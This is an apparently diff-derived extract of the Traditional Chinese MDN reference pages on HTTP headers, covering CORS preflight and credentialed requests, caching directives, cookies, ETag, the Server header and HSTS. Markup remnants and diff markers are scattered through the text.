第 1 - 12 行屬於 {{HTTPMethod("OPTIONS")}} 方法的預檢請求,瀏覽器依據前面的 JavaScript 程式碼決定送出預檢請求,好讓伺服器回應是否允許後續送出實際(actual)請求。OPTIONS 是一個 HTTP/1.1 方法,這個方法用來確認來自伺服器進一步的資訊,重複執行不會造成任何影響,為一{{Glossary("safe", "安全")}}方法,不會造成資源更動。除了 OPTIONS 方法,有另外兩個送出的請求標頭(分別在第 10 及 11 行):
- -Access-Control-Request-Method: POST -Access-Control-Request-Headers: X-PINGOTHER, Content-Type -- -
{{HTTPHeader("Access-Control-Request-Method")}} 標頭會告訴伺服器之後送出的實際(actual)請求會是 POST
方法。{{HTTPHeader("Access-Control-Request-Headers")}} 標頭則是通知伺服器實際(actual)請求會帶有一個自定義的 X-PINGOTHER
標頭。在這些資訊下,接著伺服器將會確定是否接受請求。
第 14 - 26 行屬於伺服器的回應,它說明了伺服器接受 POST
請求方法和 X-PINGOTHER
標頭。另外讓我們特別來看看 17 - 20 行:
Access-Control-Allow-Origin: http://foo.example -Access-Control-Allow-Methods: POST, GET, OPTIONS -Access-Control-Allow-Headers: X-PINGOTHER, Content-Type -Access-Control-Max-Age: 86400- -
伺服器回應中的 Access-Control-Allow-Methods
標頭表示伺服器可以接受 POST
、GET
和 OPTIONS
方法。請注意此標頭和 {{HTTPHeader("Allow")}} 十分相似,但它只在存取控制範圍下才有意義。
伺服器也回傳了 Access-Control-Allow-Headers
標頭及其值「X-PINGOTHER, Content-Type
」,表示伺服器允許在實際(actual)請求中使用以上這兩個標頭。與 Access-Control-Allow-Methods
相同,Access-Control-Allow-Headers
也是用逗號分隔可接受的標頭名稱。
最後,{{HTTPHeader("Access-Control-Max-Age")}} 提供了本次預檢請求回應所可以快取的秒數。在此範例中,86400 秒即為 24 小時。請留意每一個瀏覽器都有預設的最大值,當 Access-Control-Max-Age
較預設值大時會優先採用預設值。
目前大多瀏覽器不支援預檢請求時的重新導向,如果預檢請求進行中發生重新導向,目前大多的瀏覽器會回報類似以下的錯誤訊息。
- --- -The request was redirected to 'https://example.com/foo', which is disallowed for cross-origin requests that require preflight
-
-- -Request requires preflight, which is disallowed to follow cross-origin redirect
-
CORS 通訊協定最初要求此預檢請求重新導向的行為,但在隨後的修訂中即改為不要求使用。然而,大多數的瀏覽器尚未實作此變動,且仍舊依照原本的行為要求。
- -因此直到瀏覽器趕上規範之前,你可以使用下列一或兩種方法來解決這個限制:
- -但若難以實施以上方法,仍有其他可行的方式:
- -然而,假如請求是由於存在 Authorization
標頭而觸發預檢,便無法利用以上的步驟來解除限制。並且直到你對被請求的伺服擁有控制權前,沒有其他方式能夠解決。
{{domxref("XMLHttpRequest")}} 或 Fetch 在 CORS 中最有趣的功能為傳送基於 HTTP cookies 和 HTTP 認證(Authentication)資訊的「身分驗證(credentialed)」請求。預設情況下,在跨站 {{domxref("XMLHttpRequest")}} 或 Fetch 呼叫時,瀏覽器不會送出身分驗證。必須要於 {{domxref("XMLHttpRequest")}} 物件中或是在呼叫 {{domxref("Request")}} 建構式時設置一個特定的旗標。
- -在這個範例中,一個來自 http://foo.example
的內容發出了一個簡單的 GET 去請求一個 http://bar.other
的資源,且該站會設定 Cookies。foo.example 的內容可能包含類似的 JavaScript:
var invocation = new XMLHttpRequest(); -var url = 'http://bar.other/resources/credentialed-content/'; - -function callOtherDomain(){ - if(invocation) { - invocation.open('GET', url, true); - invocation.withCredentials = true; - invocation.onreadystatechange = handler; - invocation.send(); - } -}- -
第 7 行秀出了一個於 {{domxref("XMLHttpRequest")}} 中為了要搭配 Cookies 進行呼叫而必須設置的布林值旗標——withCredentials
。在預設情況下,請求呼叫是不會有 Cookies 的。由於這是一個簡單 GET
請求,並不會進行預檢,但瀏覽器將會拒絕任何沒有 {{HTTPHeader("Access-Control-Allow-Credentials")}}: true
標頭值的回應,並且不讓呼叫的網站內容存取該回應。
下面是一個簡單的客戶端與伺服器端之間的交換資訊:
- -GET /resources/access-control-with-credentials/ HTTP/1.1 -Host: bar.other -User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre -Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 -Accept-Language: en-us,en;q=0.5 -Accept-Encoding: gzip,deflate -Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 -Connection: keep-alive -Referer: http://foo.example/examples/credential.html -Origin: http://foo.example -Cookie: pageAccess=2 - - -HTTP/1.1 200 OK -Date: Mon, 01 Dec 2008 01:34:52 GMT -Server: Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi/2.4.2 DAV/2 SVN/1.4.2 -X-Powered-By: PHP/5.2.6 -Access-Control-Allow-Origin: http://foo.example -Access-Control-Allow-Credentials: true -Cache-Control: no-cache -Pragma: no-cache -Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT -Vary: Accept-Encoding, Origin -Content-Encoding: gzip -Content-Length: 106 -Keep-Alive: timeout=2, max=100 -Connection: Keep-Alive -Content-Type: text/plain - - -[text/plain payload] -- -
雖然第 11 行包含了預定要給予 http://bar.other
來取得資源內容的 Cookie,但假如 bar.other 沒有於回應中帶有 {{HTTPHeader("Access-Control-Allow-Credentials")}}: true
標頭值(第 19 行),則回應將會被乎略且不提供給網站內容使用。
在回應一個身分驗證請求時,伺服器必須於 Access-Control-Allow-Origin
標頭值中指定一個來源,而不是使用「*
」萬用字元(wildcard)。
上方範例的請求標頭中包含了一個 Cookie
標頭,若 Access-Control-Allow-Origin
標頭為「*」,則請求將會失敗。範例中的 Access-Control-Allow-Origin
標頭值為「http://foo.example
」(一個實際的來源)而不是「*」萬用字元,所以身分驗證證明內容被回傳予呼叫的網站內容中。
請注意上面範例中的 Set-Cookie
回應標頭也設定了另一個 cookie。萬一失敗,會拋出一個錯誤(取決於所使用的 API)。
請注意,在 CORS 回應中設定的 cookies 受制於一般的第三方 cookie 政策。在上面的範例中,頁面載入自 foo.example
,但第 22 行的 cookie 為 bar.other
所傳送,因此如果使用者將其瀏覽器設定為拒絕所有第三方 cookies,則 cookies 不會被保存。
這個小節列出了伺服器回傳予取存控制請求之由跨來源資源共用規範所定義的 HTTP 回應標頭。上一節已提供了這些行為的概述。
- -一個回應的資源可能擁有一個 {{HTTPHeader("Access-Control-Allow-Origin")}} 標頭,如以下的語法:
- -Access-Control-Allow-Origin: <origin> | * -- -
origin
參數指定了一個可以存取資源的 URI。瀏覽器必定會執行此檢查。對一個不帶有身分驗證的請求,伺服器可以指定一個「*」作為萬用字元(wildcard),從而允許任何來源存取資源。
舉例來說,要允許 http://mozilla.org 存取資源,你可以指定:
- -Access-Control-Allow-Origin: http://mozilla.org- -
如果伺服器指定了一個來源主機而不是「*」,那也可能於不同回應的標頭中包含不同之來源,來向客戶端表示伺服器的回應會因請求標頭之 Origin
值而有所不同。
{{HTTPHeader("Access-Control-Expose-Headers")}} 標頭表示伺服器允許瀏覽器存取回應標頭的白名單,如:
- -Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header -- -
這允許了瀏覽器能夠存取回應當中的 X-My-Custom-Header
以及 X-Another-Custom-Header
標頭。
{{HTTPHeader("Access-Control-Max-Age")}} 標頭表示了預檢請求的結果可以被快取多長的時間,請參考上面的範例。
- -Access-Control-Max-Age: <delta-seconds> -- -
delta-seconds
參數代表預檢請求之結果可以被快取的秒數。
{{HTTPHeader("Access-Control-Allow-Credentials")}} 標頭表示了當請求的 credentials
旗標為真時,是否要回應該請求。當用在預檢請求的回應中,那就是指示後續的實際請求可否附帶身分驗證。請注意,由於簡單的 GET
請求沒有預檢,所以如果一個簡單請求帶有身分驗證,同時假設此標頭沒有與資源一併回傳,則回應會被瀏覽器所忽略並且不會回傳予呼叫的網站內容。
Access-Control-Allow-Credentials: true -- -
驗證請求在上面的討論當中。
- -{{HTTPHeader("Access-Control-Allow-Methods")}} 標頭表示存取資源所允許的方法,用來回應預檢請求。上面已討論請求之預檢的條件。
- -Access-Control-Allow-Methods: <method>[, <method>]* -- -
一個預檢請求的範例已在上面提供,其中包含了一個回傳此標頭予瀏覽器的例子。
- -{{HTTPHeader("Access-Control-Allow-Headers")}} 標頭用在回傳予預檢請求的回應當中,以指定哪些 HTTP 標頭可以於實際請求中使用。
- -Access-Control-Allow-Headers: <field-name>[, <field-name>]* -- -
這個小節列出了當客戶端為了跨來源資源共用而傳送 HTTP 請求時可能會使用到的標頭。請注意這些標頭為對伺服器呼叫時手動設定,開發者使用跨站 {{domxref("XMLHttpRequest")}} 時則不須於程式中設定任何的跨來源資源共用請求標頭。
- -{{HTTPHeader("Origin")}} 標頭表示了跨站存取請求或預檢請求的來源。
- -Origin: <origin> -- -
其值為一個告訴目標伺服器之請求傳送來源的 URI。並不含有任何路徑資訊,僅有伺服器名稱。
- -origin
標頭可設定為空字串;這對不是真實位置的情況來說相當有用,例如來源為一個 data
URL 時。請注意在任何存取控制請求中,{{HTTPHeader("Origin")}} 標頭永遠都要送出。
- -{{HTTPHeader("Access-Control-Request-Method")}} 標頭用在發出的預檢請求中,告訴伺服器後續實際(actual)請求所用的 HTTP 方法。
- -Access-Control-Request-Method: <method> -- -
此標頭的相關範例可參考上方說明。
- -{{HTTPHeader("Access-Control-Request-Headers")}} 標頭用在發出的預檢請求中,告訴伺服器端後續實際(actual)請求所帶的 HTTP 標頭。
- -Access-Control-Request-Headers: <field-name>[, <field-name>]* -- -
此標頭的相關範例可參考上方說明。
- -{{Compat("http.headers.Access-Control-Allow-Origin")}}
- -drawImage
方法將圖形繪製於 canvas 中。XMLHttpRequest
and Cross-Origin Resource SharingAccept
HTTP 請求標頭(以 MIME type 標示)會對伺服器告知用戶端可解讀的內容類型。伺服器可以透過 content negotiation 來選用可行的協定,並以 {{HTTPHeader("Content-Type")}} 標頭告知用戶端。針對本標頭,瀏覽器可以根據完成請求的脈絡,來決定適合的數值:像是擷取 CSS 時,給予的值就會和圖片、影像、腳本不一樣。
標頭類型 | -{{Glossary("Request header")}} | -
---|---|
{{Glossary("Forbidden header name")}} | -no | -
{{Glossary("CORS-safelisted request header")}} | -yes, with the additional restriction that values can't contain a CORS-unsafe request header byte: "():<>?@[\]{} , Delete, Tab and control characters: 0x00 to 0x19. |
-
Accept: <MIME_type>/<MIME_subtype> -Accept: <MIME_type>/* -Accept: */* - -// Multiple types, weighted with the {{glossary("quality values", "quality value")}} syntax: -Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, */*;q=0.8 -- -
<MIME_type>/<MIME_subtype>
text/html
。<MIME_type>/*
image/*
會配對到 image/png
, image/svg
, image/gif
和等圖片類型。*/*
;q=
(q-factor weighting)Accept: text/html - -Accept: image/* - -// General default -Accept: */* - -// Default for navigation requests -Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8 -- -
{{Compat("http.headers.Accept")}}
- -Age
標頭代表資源進到代理快取後,經過了幾秒。
Age
標頭通常接近 0。如果你拿到 Age: 0
代表資源剛剛才從後端伺服器抓進來;
- 不然通常會是快取當下與回應中 {{HTTPHeader("Date")}} 標頭的時間差。
Header type | -{{Glossary("Response header")}} | -
---|---|
{{Glossary("Forbidden header name")}} | -no | -
Age: <秒數差> -- -
正整數,代表資源在代理快取放幾秒了。
-Age: 24- -
{{Compat("http.headers.Age")}}
- -HTTP 請求中的 Authorization
是 user agent 用來向伺服器做身份認證(authentication)的憑證(credentials),
- 通常是在伺服器回應 {{HTTPStatus("401")}}
- Unauthorized
狀態及 {{HTTPHeader("WWW-Authenticate")}} 標頭後才會在後續請求使用這個標頭。
Header type | -{{Glossary("Request header")}} | -
---|---|
{{Glossary("Forbidden header name")}} | -no | -
Authorization: <type> <credentials>- -
aladdin:opensesame
)。YWxhZGRpbjpvcGVuc2VzYW1l
)。Note: Base64 編碼不是加密也不是雜湊(Hash)!就算用明文直接傳, - 安全性也跟用 base64 編碼過一樣(base64 是可以解碼的)。最好用 HTTPS 搭配這種驗證方式。
-Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l -- -
可以看看 HTTP authentication 中的範例 - 教你如何在 Apache 或 nginx 上啟用 HTTP basic authentication 來保護你的網站。
- -Cache-Control
標頭中的指令用來控制 HTTP 請求、回應的快取行為。HTTP 請求跟回應可以擁有不同的快取控制指令。
Header type | -{{Glossary("General header")}} | -
---|---|
{{Glossary("Forbidden header name")}} | -no | -
{{Glossary("CORS-safelisted response header")}} | -yes | -
快取指令必須遵守這些規則:
- -可以在 HTTP 請求中使用的標準 Cache-Control
指令
Cache-Control: max-age=<秒數> -Cache-Control: max-stale[=<秒數>] -Cache-Control: min-fresh=<秒數> -Cache-Control: no-cache -Cache-Control: no-store -Cache-Control: no-transform -Cache-Control: only-if-cached -- -
可以在 HTTP 回應中使用的標準 Cache-Control
指令
Cache-Control: must-revalidate -Cache-Control: no-cache -Cache-Control: no-store -Cache-Control: no-transform -Cache-Control: public -Cache-Control: private -Cache-Control: proxy-revalidate -Cache-Control: max-age=<秒數> -Cache-Control: s-maxage=<秒數> -- -
這些擴充的 Cache-Control
指令不是 HTTP 快取的核心標準。使用前請檢查相容性,客戶端會直接忽略不支援的指令。
Cache-Control: immutable -Cache-Control: stale-while-revalidate=<秒數> -Cache-Control: stale-if-error=<秒數> -- -
這些指令定義 HTTP 請求/回應是否可以做快取、儲存在哪,以及使用前是否要跟後端伺服器做驗證
- -public
private
no-store
。這個指令不是用來防止快取軟體儲存回應的。no-cache
no-cache
跟 immutable
一起使用。如果你真的不要任何快取軟體儲存你的回應,可以使用 no-store
。這個指令不是用來防止快取軟體儲存回應的。no-store
max-age=0
來清除快取,並強制向後端伺服器做驗證。(其他指令跟 no-store
一起使用都無效)max-age=<秒數>
Expires
不一樣,這個指令是相對於請求當下的時間。s-maxage=<秒數>
max-age
或者 Expires
標頭,不過只對共用快取軟體生效(比如 nginx)。私有快取會無視這個指令。max-stale[=<秒數>]
min-fresh=<秒數>
stale-while-revalidate=<秒數>
{{Experimental_Inline}}max-age
的值。想了解更多細節請到 "Keeping things fresh with stale-while-revalidate
" 。stale-if-error=<秒數>
{{Experimental_Inline}}must-revalidate
proxy-revalidate
must-revalidate
類似,不過只對共用快取軟體生效(比如 nginx)。私有快取會無視這個指令。immutable
If-None-Match
或 If-Modified-Since
)。 Clients that aren't aware of this extension must ignore them as per the HTTP specification. 在 Firefox 中, immutable
只有在使用 https://
時會生效。想知道更多資訊,可以閱讀這篇文章。no-transform
only-if-cached
If-None-Match
是沒有意義的。由伺服器在 HTTP 回應中設定 only-if-cached
指令也沒有意義。想要禁止快取一個資源,你可以在回應中設定這個標頭:
- -Cache-Control: no-store- -
這個 no-store
指令使得回應再也不會被儲存,但它無法防止使用先前儲存、而且仍有效的快取。多設定 max-age=0
可以強制執行驗證(也就會清除既有快取)。
Cache-Control: no-store, max-age=0 --
Cache-Control: private,no-cache,no-store,max-age=0,must-revalidate,pre-check=0,post-check=0-
對於那些不會更新的檔案,你可以在回應中使用下列這個激進的標頭。比如說用在圖片、CSS 檔案,以及 JavaScript 檔案。附帶一提,也可以看看 Expires
標頭。
Cache-Control: public, max-age=604800, immutable -- -
no-cache
、max-age=0, must-revalidate
是同樣的意思。
- 表示客戶端可以儲存資源,但使用它前必須做驗證。這表示每次都會發生 HTTP 請求,不過只要沒過期就不用下載完整內容
Cache-Control: no-cache- -
Cache-Control: max-age=0, must-revalidate- -
附帶一提: 這個設定可以在伺服器掛掉的時候使用過期資源
- -Cache-Control: max-age=0- -
{{Compat("http.headers.Cache-Control")}}
- -Cache-Control
for civiliansCache-Control: no-store
這個 no-store
指令使得回應再也不會被儲存,但它無法防止使用先前儲存、而且仍有效的快取。多設定 max-age=0
可以強制執行驗證(也就會清除既有快取)。
Cache-Control: no-store, max-age=0 +
Cache-Control: private,no-cache,no-store,max-age=0,must-revalidate,pre-check=0,post-check=0
Cache-Control: max-age=0+ +## Specifications + +{{Specifications}} + +## Browser compatibility + +{{Compat("http.headers.Cache-Control")}} + +## See also + +- [HTTP Caching FAQ](/zh-TW/docs/Web/HTTP/Caching) +- [Caching Tutorial for Web Authors and Webmasters](https://www.mnot.net/cache_docs/) +- Guide: _[`Cache-Control` for civilians](https://csswizardry.com/2019/03/cache-control-for-civilians)_ +- {{HTTPHeader("Age")}} +- {{HTTPHeader("Expires")}} +- {{HTTPHeader("Pragma")}} diff --git a/files/zh-tw/web/http/headers/connection/index.html b/files/zh-tw/web/http/headers/connection/index.html deleted file mode 100644 index 8deca4720cad85..00000000000000 --- a/files/zh-tw/web/http/headers/connection/index.html +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: Connection -slug: Web/HTTP/Headers/Connection -tags: -- HTTP -- Headers -- Reference -- Web ---- -
Connection
標頭用來控制在本次事務(transaction)後,連線是否要繼續開著。如果設定為 keep-alive
,
-則連線繼續開著,讓接下來送往同一伺服器的請求利用。
Connection 相關的標頭如 {{HTTPHeader("Connection")}} 和 - {{HTTPHeader("Keep-Alive")}} 在 HTTP/2 中被禁用。 - Chrome 和 Firefox 會忽略 HTTP/2 回應中的這些標頭,不過 Safari 遵守 HTTP/2 - spec 的要求,不會讀取包含這些標頭的回應內容。
-除了標準的點對點標頭(hop-by-hop headers)({{HTTPHeader("Keep-Alive")}} 、
- {{HTTPHeader("Transfer-Encoding")}} 、 {{HTTPHeader("TE")}} 、 {{HTTPHeader("Connection")}} 、
- {{HTTPHeader("Trailer")}} 、 {{HTTPHeader("Upgrade")}} 、
- {{HTTPHeader("Proxy-Authorization")}} 以及 {{HTTPHeader("Proxy-Authenticate")}}),
- 任何在 HTTP 事務中使用到的點對點標頭都必須在 Connection
標頭列出來,
- 這樣首先經手請求的代理軟體才知道自己要處理這些標頭。標準的點對點標頭也是一樣的處理方式。
Header type | -{{Glossary("General header")}} | -
---|---|
{{Glossary("Forbidden header name")}} | -yes | -
Connection: keep-alive -Connection: close -- -
close
keep-alive
]{{Compat("http.headers.Connection")}}
diff --git a/files/zh-tw/web/http/headers/connection/index.md b/files/zh-tw/web/http/headers/connection/index.md new file mode 100644 index 00000000000000..ace217909475b8 --- /dev/null +++ b/files/zh-tw/web/http/headers/connection/index.md @@ -0,0 +1,49 @@ +--- +title: Connection +slug: Web/HTTP/Headers/Connection +tags: + - HTTP + - Headers + - Reference + - Web +--- +{{HTTPSidebar}} + +**`Connection`** 標頭用來控制在本次事務(transaction)後,連線是否要繼續開著。如果設定為 `keep-alive` , +則連線繼續開著,讓接下來送往同一伺服器的請求利用。 + +> **警告:** Connection 相關的標頭如 {{HTTPHeader("Connection")}} 和 +> {{HTTPHeader("Keep-Alive")}} 在 [HTTP/2 中被禁用](https://datatracker.ietf.org/doc/html/rfc7540#section-8.1.2.2)。 +> Chrome 和 Firefox 會忽略 HTTP/2 回應中的這些標頭,不過 Safari 遵守 HTTP/2 +> spec 的要求,不會讀取包含這些標頭的回應內容。 + +除了標準的點對點標頭(hop-by-hop headers)({{HTTPHeader("Keep-Alive")}} 、 +{{HTTPHeader("Transfer-Encoding")}} 、 {{HTTPHeader("TE")}} 、 {{HTTPHeader("Connection")}} 、 +{{HTTPHeader("Trailer")}} 、 {{HTTPHeader("Upgrade")}} 、 +{{HTTPHeader("Proxy-Authorization")}} 以及 {{HTTPHeader("Proxy-Authenticate")}}), +任何在 HTTP 事務中使用到的點對點標頭都必須在 `Connection` 標頭列出來, +這樣首先經手請求的代理軟體才知道自己要處理這些標頭。標準的點對點標頭也是一樣的處理方式。 + +| Header type | {{Glossary("General header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | yes | + +## 語法 + +```html +Connection: keep-alive +Connection: close +``` + +## 指令 + +- `close` + - : 表示客戶端或伺服器想要關閉連線。 + 通常用在 HTTP/1.0 。 +- 一串用逗號分隔的 HTTP 標頭 \[通常只設定為 `keep-alive` ] + - : 表示客戶端想要讓連線持續開著。HTTP/1.1 請求的預設行為就是維持連線開啟。 + 至於那串用逗號分隔的 HTTP 標頭會被首先經手請求的代理軟體或快取軟體移除:因為這些標頭就是用來控制請求發起者與第一個代理軟體的連線行為,而不是請求的目標伺服器。 + +## 瀏覽器相容性 + +{{Compat("http.headers.Connection")}} diff --git a/files/zh-tw/web/http/headers/content-type/index.html b/files/zh-tw/web/http/headers/content-type/index.html deleted file mode 100644 index c9f7c6042ab1c3..00000000000000 --- a/files/zh-tw/web/http/headers/content-type/index.html +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: Content-Type -slug: Web/HTTP/Headers/Content-Type -tags: - - Content-Type - - Entity header - - HTTP - - Reference - - header ---- -Content-Type
用來表示資源的 {{Glossary("MIME type","media type")}} 。
在 HTTP 回應中,Content-Type
表頭是用來表示本次 HTTP 事務回傳的內容類型。瀏覽器有時會自己推測內容類型(MIME sniffing),如果要阻止這個行為,請在回應中設定 {{HTTPHeader("X-Content-Type-Options")}} 標頭為 nosniff
。
在 HTTP 請求中(比如 {{HTTPMethod("POST")}} 或 {{HTTPMethod("PUT")}}),則是客戶端用來告訴伺服器自己傳的資料是什麼內容類型。
- -Header type | -{{Glossary("Entity header")}} | -
---|---|
{{Glossary("Forbidden header name")}} | -no | -
{{Glossary("CORS-safelisted response header")}} | -yes | -
{{Glossary("CORS-safelisted request header")}} | -yes, with the additional restriction that values can't contain a CORS-unsafe request header byte: 0x00-0x1F (except 0x09 (HT)), "():<>?@[\]{} , and 0x7F (DEL).- It also needs to have a MIME type of its parsed value (ignoring parameters) of either application/x-www-form-urlencoded , multipart/form-data , or text/plain . |
-
Content-Type: text/html; charset=UTF-8 -Content-Type: multipart/form-data; boundary=something -- -
media-type
boundary
指令,由 1 到 70 字的字元組成(這樣做很適合寄信),而且不能以空白結束。它會用來標誌資料的每一個段落。通常第一個段落的前面會加上兩個破折號(-),而最後一個段落後面也會加上兩個破折號。Content-Type
你可以在 HTML {{HTMLElement("form")}} 的 enctype
屬性,設定表單送出後的 {{HTTPMethod("POST")}} 請求的 Content-Type
。
<form action="/" method="post" enctype="multipart/form-data"> - <input type="text" name="description" value="some text"> - <input type="file" name="myFile"> - <button type="submit">Submit</button> -</form> -- -
HTTP 請求大概長這樣(省略了一些不重要的標頭):
- -POST /foo HTTP/1.1 -Content-Length: 68137 -Content-Type: multipart/form-data; boundary=---------------------------974767299852498929531610575 - ------------------------------974767299852498929531610575 -Content-Disposition: form-data; name="description" - -some text ------------------------------974767299852498929531610575 -Content-Disposition: form-data; name="myFile"; filename="foo.txt" -Content-Type: text/plain - -(content of the uploaded file foo.txt) ------------------------------974767299852498929531610575-- -- -
{{Compat("http.headers.Content-Type")}}
- -Cookie
是 HTTP 請求標頭,它的值包含由伺服器設定的 HTTP cookies (透過 {{HTTPHeader("Set-Cookie")}} 標頭設定,或者透過 Javascript 的 {{domxref("Document.cookie")}} 設定)。
Cookie
標頭不是必要的,比如瀏覽器可能會因為隱私設定而直接省略 Cookie 不傳。
Header type | -{{Glossary("Request header")}} | -
---|---|
{{Glossary("Forbidden header name")}} | -yes | -
Cookie: <cookie-list> -Cookie: name=value -Cookie: name=value; name2=value2; name3=value3- -
<cookie-name>=<cookie-value>
。每對之間由一個分號與一個空白分隔('; '
)。Cookie: PHPSESSID=298zf09hf012fh2; csrftoken=u32t4o3tb3gg43; _gat=1- -
{{Compat("http.headers.Cookie")}}
- -Date
標頭的值是傳送當下的日期與時間。
注意 Date
被列在 fetch spec 的 forbidden header names 清單中──也就是說這段程式不會送出 Date
標頭:
fetch('https://httpbin.org/get', { - 'headers': { - 'Date': (new Date()).toUTCString() - } -})-
Header type | -{{Glossary("General header")}} | -
---|---|
{{Glossary("Forbidden header name")}} | -yes | -
Date: <day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT -- -
格林威治標準時間的意思。在 HTTP 中日期都是採用 GMT,絕不會顯示當地時間。
-Date: Wed, 21 Oct 2015 07:28:00 GMT -- -
new Date().toUTCString() -// "Mon, 09 Mar 2020 08:13:24 GMT"- -
{{Compat("http.headers.Date")}}
- -DNT
(Do Not Track,請勿追蹤)請求標頭表明用戶針對追蹤程式的設定。它能讓用戶表達自己相較於個人化設定,更在乎個人隱私。
標頭類型 | -{{Glossary("Request header")}} | -
---|---|
{{Glossary("Forbidden header name")}} | -是 | -
DNT: 0 -DNT: 1 -- -
用戶的 DNT 設定也能透過 JavaScript 的 {{domxref("Navigator.doNotTrack")}} 設定檢查:
- -navigator.doNotTrack; // "0" or "1"- -
{{Compat("http.headers.DNT")}}
- -ETag
是 HTTP 回應標頭,用來標誌資源的版本。它可以使快取機制更有效率並節省頻寬,
- 畢竟資料沒有變動的話,伺服器就不需要再次傳回整份資料。
- 而且,它還可以用來預防多人同步更新資料時覆蓋掉彼此的資料("mid-air collisions")。
如果一個網址的資源有更新,就必須重新產生它的 Etag
值。
- 比較前後版本的 ETag 就能知道資源有沒有變化,所以 Etags 的作用就跟指紋一樣。有些伺服器便會把它用在追蹤用途上,而且可能會永久保存這些資訊。
Header type | -{{Glossary("Response header")}} | -
---|---|
{{Glossary("Forbidden header name")}} | -no | -
ETag: W/"<etag_value>" -ETag: "<etag_value>" -- -
W/
{{optional_inline}}'W/'
(區分大小寫)表示資源使用 Weak etags。
- Weak etags 很容易產生,但較不適合用在版本比對;Strong etags 很難有效率的產生,但很適合用在版本比對。
- 同一資源的兩個 weak etags 一致時,可以視為是同個版本,但其內容並非分毫不差。
- 比如說 weak etags 可以用在 byte range requests 上預防快取,不過帶有 strong etags 的請求仍然可能被快取住。"675af34563dc-tr34"
。
- 產生 ETag
值的方式沒有一定。不過通常會是資料的 hash 值、最後修改時間的 hash 值,或者是版本號。
- 比如說,MDN 就是使用 wiki 文章的十六進位內文 hash 值。ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4" -ETag: W/"0815"- -
有了 ETag
以及 {{HTTPHeader("If-Match")}} 標頭,你可以偵測空中碰撞。
比如說,在進入 wiki 編輯頁時,當下可以把內文的 hash 值放到 HTTP 回應中的 Etag
標頭:
ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"- -
當儲存更新時, {{HTTPMethod("POST")}} 請求就會有一個 {{HTTPHeader("If-Match")}} 標頭,其值為 ETag
- 的值,這樣便可以用來檢查資料新鮮度。
If-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"- -
如果 hash 沒有對上,就代表文件已經在你的編輯過程中,被別人先修改了,便會回傳
- {{HTTPStatus("412")}} Precondition Failed
錯誤。
另一個 ETag
標頭的好用處是用來快取沒更新過的資源。如果一位使用者再次造訪一個網址(而且前一次有設定 ETag
),而資源已經過期了(舊到不能用),
- 則客戶端會把 ETag
的值放在 {{HTTPHeader("If-None-Match")}} 標頭內傳送:
If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"- -
伺服器會比對客戶端傳來的 ETag
(放在 If-None-Match
標頭中) 與該資源在伺服器上的現有版本的 ETag
值,如果兩者一樣(代表沒更新過),
- 伺服器便會傳回 {{HTTPStatus("304")}} Not Modified
狀態且不帶資料,
- 這就可以讓客戶端知道自己快取住的版本仍然可用(可視為是新鮮的)。
{{Compat("http.headers.ETag")}}
- - Not Modified
Precondition Failed
W3C Note: Editing the Web – Detecting - the Lost Update Problem Using Unreserved Checkout
-HTTP headers allow the client and the server to pass additional information with the request or the response. A request header consists of its case-insensitive name followed by a colon ':
', then by its value (without line breaks). Leading white space before the value is ignored.
Custom proprietary headers can be added using the 'X-' prefix, but this convention was deprecated in June 2012, because of the inconveniences it caused when non-standard fields became standard in RFC 6648; others are listed in an IANA registry, whose original content was defined in RFC 4229. IANA also maintains a registry of proposed new HTTP message headers.
- -Headers can be grouped according to their contexts:
- -Headers can also be grouped according to how proxies handle them:
- -The following list summaries HTTP headers by their usage category. For an alphabetical list, see the navigation on the left side.
- -Cache-Control
header is not yet present.POST
request to the specified URI.Server
標頭描述處理請求的伺服器軟體資訊:也就是產生回應的伺服器資訊。
請避免 Server 值的資訊過度冗長與詳盡,因為它們可能會洩漏實做細節、讓攻擊者容易找到已知安全漏洞並利用之。
-標頭類型 | -{{Glossary("Response header")}} | -
---|---|
{{Glossary("Forbidden header name")}} | -否 | -
Server: <product> -- -
How much detail to include is an interesting balance to strike; exposing the OS version is probably a bad idea, as mentioned in the earlier warning about overly-detailed values. However, exposed Apache versions helped browsers work around a bug those versions had with {{HTTPHeader('Content-Encoding')}} combined with {{HTTPHeader('Range')}}.
- -Server: Apache/2.4.1 (Unix)- -
{{Compat("http.headers.Server")}}
- -HTTP Strict-Transport-Security
回應標頭(簡稱為 {{Glossary("HSTS")}})告知瀏覽器應強制使用HTTPS以取代HTTP。
Header type | -{{Glossary("Response header")}} | -
---|---|
{{Glossary("Forbidden header name")}} | -no | -
Strict-Transport-Security: max-age=<expire-time> -Strict-Transport-Security: max-age=<expire-time>; includeSubDomains -Strict-Transport-Security: max-age=<expire-time>; preload -- -
max-age=<expire-time>
includeSubDomains
{{optional_inline}}preload
{{optional_inline}}若是網站在被訪問時經由 HTTP 被重定向至 HTTPS,則訪客將在受到 HTTPS 保護前與該網站的非加密版本通信。例如若使用者輸入 http://www.foo.com/ 或是 foo.com 時,未加密的首次連線為中間人留下了機會。他們可以使用中間人攻擊將使用者定向至惡意網站而非使用者預期的網站的安全版本。
- -HTTP Strict Transport Security 標頭明確告知瀏覽器在有效期間費不應該使用 HTTP 與該網站進行通訊,並且應該將所有的 HTTP 請求自動轉換成 HTTPS。
- -Strict-Transport-Security
